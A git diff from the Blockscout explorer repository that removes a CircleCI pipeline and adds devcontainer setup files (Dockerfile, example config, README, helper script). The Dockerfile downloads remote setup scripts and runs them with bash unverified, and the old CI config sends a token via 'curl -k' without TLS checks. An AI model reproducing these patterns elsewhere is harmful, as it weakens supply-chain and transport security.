diff --git a/.circleci/config.yml b/.circleci/config.yml deleted file mode 100644 index 3fa213982b9f..000000000000 --- a/.circleci/config.yml +++ /dev/null @@ -1,627 +0,0 @@ -version: 2 -jobs: - build: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3-node-browsers - environment: - MIX_ENV: test - # match POSTGRES_PASSWORD for postgres image below - PGPASSWORD: postgres - # match POSTGRES_USER for postgres image below - PGUSER: postgres - - working_directory: ~/app - - steps: - - run: sudo apt-get update; sudo apt-get -y install autoconf build-essential libgmp3-dev libtool - - - checkout - - run: - command: ./bin/install_chrome_headless.sh - no_output_timeout: 2400 - - - run: mix local.hex --force - - run: mix local.rebar --force - - - run: - name: "ELIXIR_VERSION.lock" - command: echo "${ELIXIR_VERSION}" > ELIXIR_VERSION.lock - - run: - name: "OTP_VERSION.lock" - command: echo "${OTP_VERSION}" > OTP_VERSION.lock - - - restore_cache: - keys: - - v8-mix-compile-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.lock" }} - - v8-mix-compile-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.exs" }} - - v8-mix-compile-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }} - - - run: mix deps.get - - - restore_cache: - keys: - - v8-npm-install-{{ .Branch }}-{{ checksum "apps/block_scout_web/assets/package-lock.json" }} - - v8-npm-install-{{ .Branch }} - - v8-npm-install - - - run: - command: npm install - working_directory: "apps/explorer" - - - save_cache: - key: v3-npm-install-{{ .Branch }}-{{ checksum "apps/explorer/package-lock.json" }} - paths: "apps/explorer/node_modules" - - save_cache: - key: v3-npm-install-{{ .Branch }} - paths: "apps/explorer/node_modules" - - save_cache: - key: v3-npm-install - paths: "apps/explorer/node_modules" - - - run: - command: npm install - working_directory: "apps/block_scout_web/assets" - - - save_cache: - key: v8-npm-install-{{ .Branch }}-{{ checksum "apps/block_scout_web/assets/package-lock.json" }} - paths: "apps/block_scout_web/assets/node_modules" - - save_cache: - key: v8-npm-install-{{ .Branch }} - paths: "apps/block_scout_web/assets/node_modules" - - save_cache: - key: v8-npm-install - paths: "apps/block_scout_web/assets/node_modules" - - - run: mix compile - - # Ensure NIF is compiled for libsecp256k1 - - run: - command: make - working_directory: "deps/libsecp256k1" - - # `deps` needs to be cached with `_build` because `_build` will symlink into `deps` - - - save_cache: - key: v8-mix-compile-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.lock" }} - paths: - - deps - - _build - - save_cache: - key: v8-mix-compile-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.exs" }} - paths: - - deps - - _build - - save_cache: - key: v8-mix-compile-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }} - paths: - - deps - - _build - - - run: - name: Build assets - command: node node_modules/webpack/bin/webpack.js --mode development - working_directory: "apps/block_scout_web/assets" - - - persist_to_workspace: - root: . - paths: - - .circleci - - .credo.exs - - .dialyzer-ignore - - .formatter.exs - - .git - - .gitignore - - ELIXIR_VERSION.lock - - Gemfile - - Gemfile.lock - - OTP_VERSION.lock - - _build - - apps - - bin - - config - - deps - - doc - - mix.exs - - mix.lock - - appspec.yml - - rel - check_formatted: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3 - environment: - MIX_ENV: test - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: mix format --check-formatted - credo: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3 - environment: - MIX_ENV: test - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: mix local.hex --force - - - run: mix credo - deploy_aws: - docker: - # Ensure .tool-versions matches - - image: circleci/python:2.7-stretch - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - add_ssh_keys: - fingerprints: - - "c4:fd:a8:f8:48:a8:09:e5:3e:be:30:62:4d:6f:6f:36" - - - run: - name: Deploy to AWS - command: bin/deploy - dialyzer: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3 - environment: - MIX_ENV: test - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: mix local.hex --force - - - restore_cache: - keys: - - v8-mix-dialyzer-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.lock" }} - - v8-mix-dialyzer-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.exs" }} - - v8-mix-dialyzer-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }} - - - run: - name: Unpack PLT cache - command: | - mkdir -p _build/test - cp plts/dialyxir*.plt _build/test/ || true - mkdir -p ~/.mix - cp plts/dialyxir*.plt ~/.mix/ || true - - - run: mix dialyzer --plt - - - run: - name: Pack PLT cache - command: | - mkdir -p plts - cp _build/test/dialyxir*.plt plts/ - cp ~/.mix/dialyxir*.plt plts/ - - - save_cache: - key: v8-mix-dialyzer-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.lock" }} - paths: - - plts - - save_cache: - key: v8-mix-dialyzer-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }}-{{ checksum "mix.exs" }} - paths: - - plts - - save_cache: - key: v8-mix-dialyzer-{{ checksum "OTP_VERSION.lock" }}-{{ checksum "ELIXIR_VERSION.lock" }} - paths: - - plts - - - run: mix dialyzer --halt-exit-status - eslint: - docker: - # Ensure .tool-versions matches - - image: circleci/node:12.18.2-browsers-legacy - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: - name: ESLint - command: ./node_modules/.bin/eslint --format=junit --output-file="test/eslint/junit.xml" js/** - working_directory: apps/block_scout_web/assets - - - store_test_results: - path: apps/block_scout_web/assets/test - gettext: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3 - environment: - MIX_ENV: test - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: mix local.hex --force - - - run: - name: Check for missed translations - command: | - mix gettext.extract --merge | tee stdout.txt - ! grep "Wrote " stdout.txt - working_directory: "apps/block_scout_web" - - - store_artifacts: - path: apps/block_scout_web/priv/gettext - jest: - docker: - # Ensure .tool-versions matches - - image: circleci/node:12.18.2-browsers-legacy - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: - name: Jest - command: ./node_modules/.bin/jest - working_directory: apps/block_scout_web/assets - release: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3 - environment: - MIX_ENV: prod - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: mix local.hex --force - - run: mix local.rebar --force - - run: MIX_ENV=prod mix release - - run: - name: Collecting artifacts - command: | - find -name 'blockscout.tar.gz' -exec sh -c 'mkdir -p ci_artifact && cp "$@" ci_artifact/ci_artifact_blockscout.tar.gz' _ {} + - when: always - - - store_artifacts: - name: Uploading CI artifacts - path: ci_artifact/ci_artifact_blockscout.tar.gz - destination: ci_artifact_blockscout.tar.gz - sobelow: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3 - environment: - MIX_ENV: test - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: mix local.hex --force - - - run: - name: Scan explorer for vulnerabilities - command: mix sobelow --config - working_directory: "apps/explorer" - - - run: - name: Scan block_scout_web for vulnerabilities - command: mix sobelow --config - working_directory: "apps/block_scout_web" - # test_geth_http_websocket: - # docker: - # # Ensure .tool-versions matches - # - image: circleci/elixir:1.10.3-node-browsers - # environment: - # MIX_ENV: test - # # match POSTGRES_PASSWORD for postgres image below - # PGPASSWORD: postgres - # # match POSTGRES_USER for postgres image below - # PGUSER: postgres - # ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Geth.HTTPWebSocket" - # ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Geth" - # - image: circleci/postgres:10.10-alpine - # environment: - # # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database - # POSTGRES_DB: explorer_test - # # match PGPASSWORD for elixir image above - # POSTGRES_PASSWORD: postgres - # # match PGUSER for elixir image above - # POSTGRES_USER: postgres - - # working_directory: ~/app - - # steps: - # - attach_workspace: - # at: . - - # - run: - # command: ./bin/install_chrome_headless.sh - # no_output_timeout: 2400 - - # - run: mix local.hex --force - # - run: mix local.rebar --force - - # - run: - # name: Wait for DB - # command: dockerize -wait tcp://localhost:5432 -timeout 1m - - # - run: - # name: mix test --exclude no_geth - # command: | - # # Don't submit coverage report for forks, but let the build succeed - # if [[ -z "$COVERALLS_REPO_TOKEN" ]]; then - # mix coveralls.html --exclude no_geth --parallel --umbrella - # else - # mix coveralls.circle --exclude no_geth --parallel --umbrella || - # # if mix failed, then coveralls_merge won't run, so signal done here and return original exit status - # (retval=$? && curl -k https://coveralls.io/webhook?repo_token=$COVERALLS_REPO_TOKEN -d "payload[build_num]=$CIRCLE_WORKFLOW_WORKSPACE_ID&payload[status]=done" && return $retval) - # fi - - # - store_artifacts: - # path: cover/excoveralls.html - # - store_test_results: - # path: _build/test/junit - # test_geth_mox: - # docker: - # # Ensure .tool-versions matches - # - image: circleci/elixir:1.10.3-node-browsers - # environment: - # MIX_ENV: test - # # match POSTGRES_PASSWORD for postgres image below - # PGPASSWORD: postgres - # # match POSTGRES_USER for postgres image below - # PGUSER: postgres - # ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Geth.Mox" - # ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Mox" - # - image: circleci/postgres:10.10-alpine - # environment: - # # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database - # POSTGRES_DB: explorer_test - # # match PGPASSWORD for elixir image above - # POSTGRES_PASSWORD: postgres - # # match PGUSER for elixir image above - # POSTGRES_USER: postgres - - # working_directory: ~/app - - # steps: - # - attach_workspace: - # at: . - - # - run: - # command: ./bin/install_chrome_headless.sh - # no_output_timeout: 2400 - - # - run: mix local.hex --force - # - run: mix local.rebar --force - - # - run: - # name: Wait for DB - # command: dockerize -wait tcp://localhost:5432 -timeout 1m - - # - run: - # name: mix test --exclude no_geth - # command: | - # # Don't submit coverage report for forks, but let the build succeed - # if [[ -z "$COVERALLS_REPO_TOKEN" ]]; then - # mix coveralls.html --exclude no_geth --parallel --umbrella - # else - # mix coveralls.circle --exclude no_geth --parallel --umbrella || - # # if mix failed, then coveralls_merge won't run, so signal done here and return original exit status - # (retval=$? && curl -k https://coveralls.io/webhook?repo_token=$COVERALLS_REPO_TOKEN -d "payload[build_num]=$CIRCLE_WORKFLOW_WORKSPACE_ID&payload[status]=done" && return $retval) - # fi - - # - store_artifacts: - # path: cover/excoveralls.html - # - store_test_results: - # path: _build/test/junit - # test_parity_http_websocket: - # docker: - # # Ensure .tool-versions matches - # - image: circleci/elixir:1.10.3-node-browsers - # environment: - # MIX_ENV: test - # # match POSTGRES_PASSWORD for postgres image below - # PGPASSWORD: postgres - # # match POSTGRES_USER for postgres image below - # PGUSER: postgres - # ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Parity.HTTPWebSocket" - # ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Parity" - # - image: circleci/postgres:10.10-alpine - # environment: - # # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database - # POSTGRES_DB: explorer_test - # # match PGPASSWORD for elixir image above - # POSTGRES_PASSWORD: postgres - # # match PGUSER for elixir image above - # POSTGRES_USER: postgres - - # working_directory: ~/app - - # steps: - # - attach_workspace: - # at: . - - # - run: - # command: ./bin/install_chrome_headless.sh - # no_output_timeout: 2400 - - # - run: mix local.hex --force - # - run: mix local.rebar --force - - # - run: - # name: Wait for DB - # command: dockerize -wait tcp://localhost:5432 -timeout 1m - - # - run: - # name: mix test --exclude no_parity - # command: | - # # Don't submit coverage report for forks, but let the build succeed - # if [[ -z "$COVERALLS_REPO_TOKEN" ]]; then - # mix coveralls.html --exclude no_parity --parallel --umbrella - # else - # mix coveralls.circle --exclude no_parity --parallel --umbrella || - # # if mix failed, then coveralls_merge won't run, so signal done here and return original exit status - # (retval=$? && curl -k https://coveralls.io/webhook?repo_token=$COVERALLS_REPO_TOKEN -d "payload[build_num]=$CIRCLE_WORKFLOW_WORKSPACE_ID&payload[status]=done" && return $retval) - # fi - - # - store_artifacts: - # path: cover/excoveralls.html - # - store_test_results: - # path: _build/test/junit - test_parity_mox: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3-node-browsers - environment: - MIX_ENV: test - # match POSTGRES_PASSWORD for postgres image below - PGPASSWORD: postgres - # match POSTGRES_USER for postgres image below - PGUSER: postgres - ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Parity.Mox" - ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Mox" - - image: circleci/postgres:10.10-alpine - environment: - # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database - POSTGRES_DB: explorer_test - # match PGPASSWORD for elixir image above - POSTGRES_PASSWORD: postgres - # match PGUSER for elixir image above - POSTGRES_USER: postgres - - working_directory: ~/app - - steps: - - attach_workspace: - at: . - - - run: - command: ./bin/install_chrome_headless.sh - no_output_timeout: 2400 - - - run: mix local.hex --force - - run: mix local.rebar --force - - - run: - name: Wait for DB - command: dockerize -wait tcp://localhost:5432 -timeout 1m - - - run: - name: mix test --exclude no_parity - command: | - # Don't submit coverage report for forks, but let the build succeed - if [[ -z "$COVERALLS_REPO_TOKEN" ]]; then - mix coveralls.html --exclude no_parity --parallel --umbrella - else - mix coveralls.circle --exclude no_parity --parallel --umbrella || - # if mix failed, then coveralls_merge won't run, so signal done here and return original exit status - (retval=$? && curl -k https://coveralls.io/webhook?repo_token=$COVERALLS_REPO_TOKEN -d "payload[build_num]=$CIRCLE_WORKFLOW_WORKSPACE_ID&payload[status]=done" && return $retval) - fi - - - store_artifacts: - path: cover/excoveralls.html - - store_test_results: - path: _build/test/junit - coveralls_merge: - docker: - # Ensure .tool-versions matches - - image: circleci/elixir:1.10.3 - environment: - MIX_ENV: test - - steps: - - run: - name: Tell coveralls.io build is done - command: curl -k https://coveralls.io/webhook?repo_token=$COVERALLS_REPO_TOKEN -d "payload[build_num]=$CIRCLE_WORKFLOW_WORKSPACE_ID&payload[status]=done" -workflows: - version: 2 - primary: - jobs: - - build - - check_formatted: - requires: - - build - # This unfortunately will only fire if all the tests pass because of how `requires` works - - coveralls_merge: - requires: - # - test_parity_http_websocket - - test_parity_mox - # - test_geth_http_websocket - # - test_geth_mox - - credo: - requires: - - build - - deploy_aws: - filters: - branches: - only: - - production - - staging - - /deploy-[A-Za-z0-9]+$/ - requires: - - check_formatted - - credo - - eslint - - jest - - sobelow - # - test_parity_http_websocket - - test_parity_mox - # - test_geth_http_websocket - # - test_geth_mox - - dialyzer: - requires: - - build - - eslint: - requires: - - build - - gettext: - requires: - - build - - jest: - requires: - - build - - release: - requires: - - build - - sobelow: - requires: - - build - # - test_parity_http_websocket: - # requires: - # - build - - test_parity_mox: - requires: - - build - # - test_geth_http_websocket: - # requires: - # - build - # - test_geth_mox: - # requires: - # - build diff --git a/.credo.exs b/.credo.exs index ba4d7feb49e1..444b59323dc9 100644 --- a/.credo.exs +++ b/.credo.exs @@ -33,7 +33,7 @@ # If you create your own checks, you must specify the source files for # them here, so they can be loaded by Credo before running the analysis. # - requires: [], + requires: ["apps/utils/lib/credo/**/*.ex"], # # If you want to enforce a style guide and need a more traditional linting # experience, you can change `strict` to `true` below: @@ -131,7 +131,7 @@ {Credo.Check.Warning.UnusedRegexOperation}, {Credo.Check.Warning.UnusedStringOperation}, {Credo.Check.Warning.UnusedTupleOperation}, - {Credo.Check.Warning.RaiseInsideRescue, false}, + {Credo.Check.Warning.RaiseInsideRescue}, # Controversial and experimental checks (opt-in, just remove `, false`) # @@ -140,9 +140,10 @@ {Credo.Check.Refactor.AppendSingleItem}, {Credo.Check.Refactor.VariableRebinding}, {Credo.Check.Warning.MapGetUnsafePass}, - {Credo.Check.Consistency.MultiAliasImportRequireUse} + {Credo.Check.Consistency.MultiAliasImportRequireUse}, # Custom checks can be created using `mix credo.gen.check`. + {Utils.Credo.Checks.CompileEnvUsage} # ] } diff --git a/.devcontainer/.blockscout_config.example b/.devcontainer/.blockscout_config.example new file mode 100644 index 000000000000..737933b067b6 --- /dev/null +++ b/.devcontainer/.blockscout_config.example @@ -0,0 +1,61 @@ +CHAIN_TYPE=ethereum + +ETHEREUM_JSONRPC_VARIANT=geth +ETHEREUM_JSONRPC_TRACE_URL="" + +API_RATE_LIMIT=100 +HEART_BEAT_TIMEOUT=30 +TXS_STATS_DAYS_TO_COMPILE_AT_INIT=2 +INDEXER_MEMORY_LIMIT=6 + +POOL_SIZE=50 +POOL_SIZE_API=50 +ACCOUNT_POOL_SIZE=10 + +INDEXER_DISABLE_EMPTY_BLOCKS_SANITIZER='true' +INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER='true' +INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER='true' +INDEXER_DISABLE_BLOCK_REWARD_FETCHER='true' +INDEXER_DISABLE_ADDRESS_COIN_BALANCE_FETCHER='true' +INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER='true' +ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES='true' +INDEXER_DISABLE_TOKEN_INSTANCE_RETRY_FETCHER='true' +INDEXER_DISABLE_TOKEN_INSTANCE_REALTIME_FETCHER='true' +INDEXER_DISABLE_TOKEN_INSTANCE_SANITIZE_FETCHER='true' +INDEXER_DISABLE_WITHDRAWALS_FETCHER='true' + +INDEXER_CATCHUP_BLOCKS_BATCH_SIZE=5 +INDEXER_COIN_BALANCES_BATCH_SIZE=1 +INDEXER_EMPTY_BLOCKS_SANITIZER_BATCH_SIZE=1 +INDEXER_BLOCK_REWARD_BATCH_SIZE=1 +INDEXER_RECEIPTS_BATCH_SIZE=10 +INDEXER_COIN_BALANCES_BATCH_SIZE=1 +INDEXER_TOKEN_BALANCES_BATCH_SIZE=1 + +INDEXER_CATCHUP_BLOCKS_CONCURRENCY=1 +MIGRATION_TOKEN_INSTANCE_OWNER_BATCH_SIZE=1 +MIGRATION_TOKEN_INSTANCE_OWNER_CONCURRENCY=1 +INDEXER_BLOCK_REWARD_CONCURRENCY=1 +INDEXER_RECEIPTS_CONCURRENCY=1 +INDEXER_COIN_BALANCES_CONCURRENCY=1 +INDEXER_TOKEN_CONCURRENCY=1 +INDEXER_TOKEN_BALANCES_CONCURRENCY=1 +INDEXER_TOKEN_INSTANCE_RETRY_CONCURRENCY=1 +INDEXER_TOKEN_INSTANCE_REALTIME_CONCURRENCY=1 +INDEXER_TOKEN_INSTANCE_SANITIZE_CONCURRENCY=1 +INDEXER_TOKEN_INSTANCE_RETRY_BATCH_SIZE=1 +INDEXER_TOKEN_INSTANCE_REALTIME_BATCH_SIZE=1 +INDEXER_TOKEN_INSTANCE_SANITIZE_BATCH_SIZE=1 + +INDEXER_TOKEN_BALANCES_FETCHER_INIT_QUERY_LIMIT=2 +INDEXER_COIN_BALANCES_FETCHER_INIT_QUERY_LIMIT=2 + +DISABLE_MARKET='true' +SOURCIFY_INTEGRATION_ENABLED='false' + +API_V2_ENABLED=true + +DISABLE_CATCHUP_INDEXER='false' +INDEXER_CATCHUP_BLOCKS_BATCH_SIZE=10 +INDEXER_CATCHUP_BLOCKS_CONCURRENCY=10 +ETHEREUM_JSONRPC_HTTP_URL="https://ethereum-sepolia-rpc.publicnode.com" diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile new file mode 100644 index 000000000000..98f0627b5d8f --- /dev/null +++ b/.devcontainer/Dockerfile @@ -0,0 +1,50 @@ +# Since this is a copy of https://github.com/blockscout/devcontainer-elixir/blob/main/Dockerfile +# So after successful testing this file, the original one must be updated as well. +ARG VARIANT="1.17.3-erlang-27.1-debian-bullseye-20240926" +FROM hexpm/elixir:${VARIANT} + +# ARGs declared before FROM are not persisted beyond the FROM instruction. +# They must be redeclared here to be available in the rest of the Dockerfile. +ARG PHOENIX_VERSION="1.7.10" +ARG NODE_VERSION="20" + +# This Dockerfile adds a non-root user with sudo access. Update the “remoteUser” property in +# devcontainer.json to use it. More info: https://aka.ms/vscode-remote/containers/non-root-user. +ARG USERNAME=vscode +ARG USER_UID=1000 +ARG USER_GID=$USER_UID + +# Options for common package install script +ARG INSTALL_ZSH="true" +ARG UPGRADE_PACKAGES="true" +ARG COMMON_SCRIPT_SOURCE="https://raw.githubusercontent.com/microsoft/vscode-dev-containers/main/script-library/common-debian.sh" + +# Options for setup nodejs +ARG NODE_SCRIPT_SOURCE="https://raw.githubusercontent.com/microsoft/vscode-dev-containers/main/script-library/node-debian.sh" +ENV NVM_DIR=/usr/local/share/nvm +ENV NVM_SYMLINK_CURRENT=true +ENV PATH=${NVM_DIR}/current/bin:${PATH} + +# Install needed packages and setup non-root user. Use a separate RUN statement to add your own dependencies. +RUN apt-get update \ + && export DEBIAN_FRONTEND=noninteractive \ + && apt-get -y install --no-install-recommends curl ca-certificates 2>&1 \ + && curl -sSL ${COMMON_SCRIPT_SOURCE} -o /tmp/common-setup.sh \ + && /bin/bash /tmp/common-setup.sh "${INSTALL_ZSH}" "${USERNAME}" "${USER_UID}" "${USER_GID}" "${UPGRADE_PACKAGES}" \ + # + # Install Node.js for use with web applications + && curl -sSL ${NODE_SCRIPT_SOURCE} -o /tmp/node-setup.sh \ + && /bin/bash /tmp/node-setup.sh "${NVM_DIR}" "${NODE_VERSION}" "${USERNAME}" \ + && npm install -g cspell@latest \ + # + # Install dependencies + && apt-get install -y build-essential inotify-tools \ + # + # Clean up + && apt-get autoremove -y \ + && apt-get clean -y \ + && rm -rf /var/lib/apt/lists/* /tmp/common-setup.sh /tmp/node-setup.sh + +RUN su ${USERNAME} -c "mix local.hex --force \ + && mix local.rebar --force \ + && mix archive.install --force hex phx_new ${PHOENIX_VERSION}" diff --git a/.devcontainer/README.md b/.devcontainer/README.md new file mode 100644 index 000000000000..a589b1d46bc6 --- /dev/null +++ b/.devcontainer/README.md @@ -0,0 +1,200 @@ +# Blockscout Backend Development with VSCode Devcontainers and GitHub Codespaces + +## Table of Contents +1. [Motivation](#motivation) +2. [Setting Up VSCode Devcontainer Locally](#setting-up-vscode-devcontainer-locally) +3. [Using GitHub Codespaces in the Browser](#using-github-codespaces-in-the-browser) +4. [Configuring Postgres DB Access](#configuring-postgres-db-access) +5. [Developing Blockscout Backend](#developing-blockscout-backend) +6. [Upgrading Elixir Version](#upgrading-elixir-version) +7. [Contributing](#contributing) + +## Motivation + +Setting up a local development environment for Blockscout can be time-consuming and error-prone. This devcontainer setup streamlines the process by providing a pre-configured environment with all necessary dependencies. It ensures consistency across development environments, reduces setup time, and allows developers to focus on coding rather than configuration. + +Key benefits include: +- Pre-configured environment with Elixir, Phoenix, and Node.js +- Integrated PostgreSQL database +- Essential VS Code extensions pre-installed +- Simplified database management +- Consistent development environment across team members + +## Setting Up VSCode Devcontainer Locally + +1. Clone the Blockscout repository: + ``` + git clone https://github.com/blockscout/blockscout.git + cd blockscout + ``` + +2. Open the project in VS Code: + ``` + code . + ``` + +3. Before re-opening in the container, you may find it useful to configure SSH authorization. To do this: + + a. Ensure you have SSH access to GitHub configured on your local machine. + + b. Open `.devcontainer/devcontainer.json`. + + c. Uncomment the `mounts` section: + ```json + "mounts": [ + "source=${localEnv:HOME}/.ssh/config,target=/home/vscode/.ssh/config,type=bind,consistency=cached", + "source=${localEnv:HOME}/.ssh/id_rsa,target=/home/vscode/.ssh/id_rsa,type=bind,consistency=cached" + ], + ``` + + d. Adjust the paths if your SSH keys are stored in a different location. + + e. Use `git update-index --assume-unchanged .devcontainer/devcontainer.json` to prevent the changes to `devcontainer.json` from appearing in `git status` and VS Code's Source Control. To undo the changes, use `git update-index --no-assume-unchanged .devcontainer/devcontainer.json`. + +4. When prompted, click "Reopen in Container". If not prompted, press `F1`, type "Remote-Containers: Reopen in Container", and press Enter. + +5. VS Code will build the devcontainer. This process includes: + - Pulling the base Docker image + - Installing specified VS Code extensions + - Setting up the PostgreSQL database + - Installing project dependencies + + This may take several minutes the first time. + +6. Once the devcontainer is built, you'll be working inside the containerized environment. + +7. If you modified the `devcontainer.json` file in step 3, you may want to execute `git update-index --assume-unchanged .devcontainer/devcontainer.json` in a terminal within your devcontainer to prevent the changes to `devcontainer.json` from appearing in `git status` and VS Code's Source Control. + +### Additional Setup for Cursor.ai Users + +If you're using Cursor.ai instead of VSCode, you may need to perform some additional setup steps. Please note that these changes will not persist after reloading the devcontainer, so you may need to repeat these steps each time you start a new session. + +1. **Git Configuration**: You may encounter issues when trying to perform Git operations from the terminal or the "Source Control" tab. To resolve this, set up your Git configuration inside the devcontainer: + + a. Open a terminal in your devcontainer. + b. Set your Git username: + ``` + git config --global user.name "Your Name" + ``` + c. Set your Git email: + ``` + git config --global user.email "your.email@example.com" + ``` + + Replace "Your Name" and "your.email@example.com" with your actual name and email associated with your GitHub account. + +2. **ElixirLS: Elixir support and debugger** (JakeBecker.elixir-ls): This extension may not be automatically installed in Cursor.ai, even though it's specified in the devcontainer configuration. To install it manually: + + a. Open the Extensions tab. + b. Search for "JakeBecker.elixir-ls". + c. Look for the extension "ElixirLS: Elixir support and debugger" by JakeBecker and click "Install". + +Remember, you may need to repeat these steps each time you start a new Cursor.ai session with the devcontainer. + +### Signing in to GitHub for Pull Request Extension + +1. In the devcontainer, click on the GitHub icon in the Primary sidebar. +2. Click on "Sign in to GitHub" and follow the prompts to authenticate. + +## Using GitHub Codespaces in the Browser + +To open the project in GitHub Codespaces: + +1. Navigate to the Blockscout repository on GitHub. +2. Switch to the branch you want to work on. +3. Click the "Code" button. +4. Instead of clicking "Create codespace on [branch]" (which would use the default machine type that may not be sufficient for this Elixir-based project), click on the three dots (...) next to it. +5. Select "New with options". +6. Choose the "4-core/16GB RAM" machine type for optimal performance. +7. Click "Create codespace". + +This will create a new Codespace with the specified resources, ensuring adequate performance for the Elixir-based project. + +Note: After the container opens, you may see an error about the inability to use "GitHub Copilot Chat". This Copilot functionality will not be accessible in the Codespace environment. + +## Configuring Postgres DB Access + +To configure access to the PostgreSQL database using the VS Code extension: + +1. Click on the PostgreSQL icon in the Primary sidebar. +2. Click "+" (Add Connection) in the PostgreSQL explorer. +3. Use the following details: + - Host: `db` + - User: `postgres` + - Password: `postgres` + - Port: `5432` + - Use an ssl connection: "Standard connection" + - Database: `app` + - The display name: "" + +These credentials are derived from the `DATABASE_URL` in the `bs` script. + +## Developing Blockscout Backend + +### Configuration + +Before running the Blockscout server, you need to set up the configuration: + +1. Copy the `.devcontainer/.blockscout_config.example` file to `.devcontainer/.blockscout_config`. +2. Adjust the settings in `.devcontainer/.blockscout_config` as needed for your development environment. + +For a comprehensive list of environment variables that can be set in this configuration file, refer to the [Blockscout documentation](https://docs.blockscout.com/setup/env-variables). + +### Using the `bs` Script + +The `bs` script in `.devcontainer/bin/` helps orchestrate common development tasks. Here are some key commands: + +- Initialize the project: `bs --init` +- Initialize or re-initialize the database: `bs --db-init` (This will remove all data and tables from the DB and re-create the tables) +- Run the server: `bs` +- Run the server without syncing: `bs --no-sync` +- Recompile the project: `bs --recompile` (Use this when new dependencies arrive after a merge or when switching to another `CHAIN_TYPE`) +- Run various checks: `bs --spellcheck`, `bs --dialyzer`, `bs --credo`, `bs --format` + +For a full list of options, run `bs --help`. + +### Interacting with the Blockscout API + +For local devcontainer setups (not applicable to GitHub Codespaces), you can use API testing tools like Postman or Insomnia on your host machine to interact with the Blockscout API running in the container: + +1. Ensure the Blockscout server is running in the devcontainer. +2. In the API testing tool on your host machine, use `http://127.0.0.1:4000` as the base URL. +3. Example endpoint: `GET http://127.0.0.1:4000/api/v2/blocks` + +This allows testing API endpoints directly from your host machine while the server runs in the container. + +### Troubleshooting + +If you face issues with dependency compilation or dialyzer after container creation: + +1. Check for untracked files: `git ls-files --others` +2. Remove compilation artifacts or generated files if present. +3. For persistent issues, consider cleaning all untracked files (use with caution): + ``` + git clean -fdX + bs --recompile + ``` + +This ensures a clean compilation environment within the container. + +## Upgrading Elixir Version + +To upgrade the Elixir version: + +1. Open `.devcontainer/Dockerfile`. +2. Update the `VARIANT` argument with the desired Elixir version. +3. Rebuild the devcontainer. + +Note: Ensure that the version you choose is compatible with the project dependencies. + +After testing the new Elixir version, propagate the corresponding changes in the Dockerfile to the repo https://github.com/blockscout/devcontainer-elixir. Once a new release tag is published there and a new docker image `ghcr.io/blockscout/devcontainer-elixir` appears in the GitHub registry, modify the `docker-compose.yml` file in the `.devcontainer` directory to reflect the proper docker image tag. + +## Contributing + +When contributing changes that require additional checks for specific blockchain types: + +1. Open `.devcontainer/bin/chain-specific-checks`. +2. Add your checks under the appropriate `CHAIN_TYPE` case. +3. Ensure your checks exit with a non-zero code if unsuccessful. + +Remember to document any new checks or configuration options in this README. \ No newline at end of file diff --git a/.devcontainer/bin/bs b/.devcontainer/bin/bs new file mode 100755 index 000000000000..145c152531dc --- /dev/null +++ b/.devcontainer/bin/bs @@ -0,0 +1,320 @@ +#!/bin/bash + +# Blockscout Development Helper Script +# +# This script provides a unified interface for common development tasks when working +# with the Blockscout backend server. It handles environment configuration, project +# initialization, and various development workflows. +# +# Main usage scenarios: +# 1. Project Setup +# - Initialize project directory: bs --init +# - Setup/reset database: 